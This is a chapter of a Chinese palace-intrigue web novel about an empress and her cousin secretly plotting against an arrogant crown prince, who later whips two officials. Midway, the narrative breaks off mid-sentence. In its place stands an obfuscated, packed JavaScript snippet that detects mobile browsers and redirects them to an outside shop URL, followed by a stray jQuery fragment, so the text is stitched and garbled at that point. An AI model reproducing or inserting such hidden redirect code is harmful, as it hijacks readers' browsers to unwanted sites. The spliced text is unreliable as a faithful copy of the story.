偏僻的小路上,一个美妇低眉垂首,容貌俊秀,着一身锦缎,面上敷着薄粉。
她仪态端庄,脸上带着柔和的笑意,双手拢在袖中。
众人远远望去,只当时哪位娘娘的家眷来了。
这女子行为举止落落大方,教养极好,一看就是出身名门望族。
路过宫卫时,从袖间递出一副名帖。
宫卫拿起来看了看,露出一个讨好的微笑,“原来是皇后娘娘的表姑?快快请进。”
那女子一言不发,矜持的点了点头。
景福宫。
霍遗光亲自做了几个菜,备上酒。
门从门外敲响,打开门,正是那俊秀的女子。
霍遗光给宫女使了个眼色,兰娘会意,贴心关好门窗,出门守着去了。
霍遗光眼睛亮亮的,连眼尾的细纹都透着鲜活,她依旧是从容的,只是同那女子四目相对时,两人的耳尖都染上淡淡薄红,两人飞快的看对方一眼,又迅速避开。
明明人已到中年,历经沉浮,彼此相望时依旧会心头荡漾。
“靖风哥哥,你来了?”
“嗯,来了,让你久等了。”
霍靖风被霍遗光拉着坐下,倒上酒。
“放心,平日里他不会往这里来。”
霍靖风眼底酿开一抹淡淡的柔意,道:“至险之地,反为安隅,灯下者,人所忽也。”
他们二人几乎每旬都会见面,白日里来,便大大方方当做来探亲的妇女,夜晚便伪装成新来的供役宫女。
霍靖风是她在前朝的眼睛,行事皆过问于她,受她差役。
皇帝与皇后感情不睦,除了有事商谈,平日里基本谁也不见谁,霍遗光管好后宫,燕启管好前朝,两口子名义为夫妻,实际上还不如过路人。
“这人傲慢起来,谁能管得了呀?”霍遗光不急不躁道。
两人关系极好,同是家中不受宠的孩子,幼时天天腻在一起,如今在熟人面前,虽是在凶险至极的皇宫里,两人的姿态也是极为放松的。
霍遗光的话也多了起来。
“靖风哥哥,太子之事你拿的准吗?”
霍靖风:“全凭那位一念之间。”
霍遗光冷笑,“那倒是稳妥了。就怕到时候太子跟他闹脾气,他将罪责全都推到你我二人身上。”
霍靖风无奈,拍了拍她的脑袋,“霍徐两家早晚要分出一个胜负来,往后如何未可知晓。”
“历朝历代,历来立为东宫之人,能顺利继位者,十不过四五罢了。更何况,东宫性子傲,虽父子情深,却也不能忍受踩着自己的舅舅登位,两人必定会爆发冲突。”
“届时,你我暗中推波助澜,实在不行,就废其双足,貌有损而登基者,自古以来,没有这个道理。”霍靖风语气依旧温和,却字字句句冷硬。
“妹妹,你不要觉得我心狠…”
霍遗光捂住他的嘴,贴进他怀里,“我知道,你都是为了我跟元泽,表哥,我也只有你了。”
霍靖风愣住,慢慢把手放到她的肩上,将人揽入怀里。
“你放心,只要表哥在这里,就不会让你沦落到那般田地。”
两人依偎在一起就像小时候那样。
那个位置,他们势在必得,佛挡杀佛、神挡杀神。
如今京营卫空缺,若是能将人塞进去,是最好不过的了。
“最近,我发现有一个商人,似乎与宫中有千丝万缕的联系…”
“皇上,是您来啦!”门外兰娘的声音突然大声响起,霍靖风神色一凛。
霍遗光推着霍靖风,霍靖风一步三回头,有些担忧的望着她。
“表哥,委屈你暂且躲进衣柜里。”
“朕又要事与皇后商议。”
门外兰娘与皇帝交谈的声音响起,兰娘倒是冷静,这种时候还能胡诌。
“陛下,我家娘娘今日不便见客…”
两人一番拉扯,燕启的脚步已经到了门外,在他打开门时,遗留在外的一片衣角顺利完完全全被塞进衣柜里。
衣柜里一片黑暗、狭窄逼囧,可以听得见自己的心跳声。
霍靖风强行安稳下心思,又闻见一股香风。低头一看,一个玫粉色的肚兜正被他攥在手中,大概是他进来时随手抓到的。
老脸一红,连忙给人笨拙叠好,放在一旁。用耳朵贴进橱面,听着外头两人的对话。
霍遗光一脸菜色的坐在饭桌上。
燕启有些莫名其妙,不就是骂了一下武昭帝吗?生气到现在,也不出来接他,他可是皇帝,九五至尊!
同时,又有些惊诧,他这位皇后平日里一言一行都规矩的不能再规矩了,更是以节俭著称,引得朝廷上下赞不绝口。
“皇后一个人,吃的倒是很不错。”
说罢,他就坐下了主位上,一副心安理得的模样。
兰娘一脸歉意赶过来,“皇上不要怪罪娘娘,娘娘一时贪嘴,平日里都不这样的。”
燕启闻言,难得大笑,也不知是嘲笑还是什么。
“无碍,朕还不至于如此小性。”
霍遗光瞧着,淡淡一笑,未置一言。随后语气平和道:“皇上今日来做什么?”
“朕有要事与皇后商议…”
霍遗光难得打断他,语气生硬。心中却想着,也不知道表哥在里面闷不闷。
“皇上有话直说,臣妾身为后宫之中,自会鼎力相助。”
……
朝堂消息如同龙卷风,席着沙尘、风雨卷到江南俞州。
燕元祯神色难看,眼神凌厉,“那几日找的那几个俞商是孤的表亲?”
下属此刻脸色也极为难看:“是…属下以为这是殿下的意思…就没有…”
燕元祯狠狠瞪了他一眼,欺上罔下,自己心里清楚,谁知道他们怎么想的。
他没日没夜签的纸据、盖的印章,数不胜数,不可能每一个都看。下头的人审核完了,便直接呈上来,这群人,每天光吃饭不干事。
燕元祯站起身来,握紧腰间的鞭子,冷冷道:“让沈良才、周桓滚过来。”
“是。”那侍卫心惊胆战,立刻跑了出去。
不过一盏茶的功夫,沈良才、周桓便先后走进屋。
两人一句话未说,还未看清是什么,一跟三米长的鞭子凌空飞舞,狠狠的先后抽在沈、周两人脸上。
两人痛呼,那力度丝毫未减,实打实抽到两人脸上,脸颊之上立刻浮现出一条红色的鞭痕。
打的还是脸,羞辱之意不在话下。
两人捂着脸,疼得好一会才抬起头,那长鞭已经安安分分的圈在燕元祯腰间,那一身金袍华服站在高处,一双丹凤眼睥睨着下方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949432|210478||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
周桓立马就想发作,却被沈良才拉住。
沈良才向前一步,勉强又委屈道:“不知吾二人何时得罪了殿下,以至于被如此羞辱。”
燕元祯轻轻一瞥,好似听到了什么搞笑的话,懒得费心争辩。
他没有开口骂人,可沈良才觉得,这眼神,好似自己只是泥土里的虫。
蝼蚁。
这两个字浮现在脑海中,沈良才心中一惊。
太子一路上都挺好说话的,哪怕看不惯他们,也不曾难为。对身边人也是极好的,每个追随者,都不吝啬给予他们实权。
这种好脾气似乎让他们松懈了,让他们忘记了,这是太子,是皇帝最宠爱的儿子,是东宫储君、未来的帝王。
他无心践踏他们,亦不屑垂怜。
传闻中,太子幼时便拿鞭子鞭挞过得罪他的皇子,哪怕是当今皇后的儿子,也不留一点情面。
哪怕被罚,也全然不管不顾,皇上拿他也没办法,更何况,皇上也不舍得真同他怄气。
“你们还没资格质问孤。”
“霍氏走狗,无非是想要这盐铁之权,孤给你们。”
燕元祯扯下腰间令牌,扔在他们脚边。
“把他们扔出去,即日启程回宫。”
燕元祯好胜负气,不容旁人忤逆。自幼便什么都有,锦衣玉食、绫罗绸缎供养长大,脾性自然是大的。
燕元祯自然知道,自己方才的行为不合时宜,但他咽不下那口气。
“他这人一旦恼怒,就会立刻发作,什么教养、威仪统统不顾,不肯憋在心里留到日后。哪怕事后自知失当,也难忍片刻。”
燕羲的声音回响在叶蓁耳畔,她脸上围着薄纱,只露出那双眸若含星的眼睛。
她望着眼前的盐铁营,突然,大门从内而外打开,四个侍卫抬着两位平日里极为体面的大臣,向抬猪一样,扔在了门口草丛处。
“欺人太甚!欺人太甚啊!”
两人眼眶通红,一路上被下人们、往来商人围观,想来也是从未经受过这种屈辱,一时间羞耻、悲愤翻涌,完全忍不住,连头都不敢抬,恨不得当成晕厥过去,或是再被抽打一顿,也好过这种屈辱。
还真让燕羲说对了。
叶蓁挪开视线,稳步至门前,柔声道:“大人,请见太子殿下,这是民女的字据。”
侍卫瞧见一个陌生面孔,心下有些疑惑,怎么会是一个女子来找殿下?这么多年以来,也未曾见过太子在这方面有过什么传闻。
侍卫打开字据,瞅上几眼,神色严肃起来。
“姑娘稍等片刻,属下去请示殿下。”
叶蓁轻轻“嗯”了声,便安静在一旁等候了。
府内,燕元祯刚解了火气,正想喝口水压一压戾气。便见自己的便宜侍卫长屁颠屁颠又过来了。
“什么事?”燕元祯不耐烦道。
“殿下,外头有位姑娘求见,好像是…公主的人。”侍卫递上字据。
燕元祯赶紧拿过来看,眼中迸发一抹欣喜。
“还不快请进来。”
“你不必害怕,只要你说,你是我的人,他便不会难为你。”燕羲笃定的声音回荡在叶蓁耳边,叶蓁步履沉静,穿过一道小路,被侍卫引着前去。
太子就在厅堂里,长身玉立 ,静静的凝视着她。